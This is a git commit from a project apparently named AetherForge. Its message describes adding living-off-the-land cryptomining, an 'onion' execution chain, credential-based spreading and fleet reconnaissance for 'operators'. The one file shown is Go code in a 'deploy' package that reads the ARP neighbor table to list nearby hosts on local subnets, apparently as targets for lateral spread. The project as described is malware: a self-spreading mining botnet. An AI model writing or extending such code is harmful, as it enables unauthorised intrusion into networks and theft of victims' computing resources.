Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -0,0 +1,50 @@
//go:build !windows
package deploy
import (
"bufio"
"net"
"os/exec"
"strings"
)
func neighborHosts() []string {
out, err := exec.Command("ip", "-4", "neighbor", "show").Output()
if err != nil {
return nil
}
local := getLocalIPs()
subnets := make(map[string]bool)
for _, ip := range local {
subnets[getSubnet(ip)] = true
}
var hosts []string
seen := make(map[string]bool)
scanner := bufio.NewScanner(strings.NewReader(string(out)))
for scanner.Scan() {
fields := strings.Fields(scanner.Text())
if len(fields) < 1 {
continue
}
ip := net.ParseIP(fields[0])
if ip == nil || ip.To4() == nil {
continue
}
if len(fields) >= 5 && strings.EqualFold(fields[len(fields)-1], "FAILED") {
continue
}
ipStr := ip.To4().String()
if !subnets[getSubnet(ipStr)] || seen[ipStr] {
continue
}
seen[ipStr] = true
hosts = append(hosts, ipStr)
}
return hosts
}
func discoverADDomainPlatform() string {
return ""
}